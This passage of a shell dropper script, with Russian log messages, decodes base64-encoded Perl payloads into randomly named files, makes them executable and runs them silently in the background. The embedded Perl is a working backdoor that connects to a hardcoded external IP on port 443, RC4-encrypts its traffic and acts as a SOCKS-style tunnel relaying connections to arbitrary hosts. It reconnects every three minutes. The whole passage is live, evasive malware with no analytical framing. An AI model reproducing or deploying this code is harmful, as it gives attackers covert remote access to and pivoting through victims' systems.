ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #3 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #3 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 4 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK 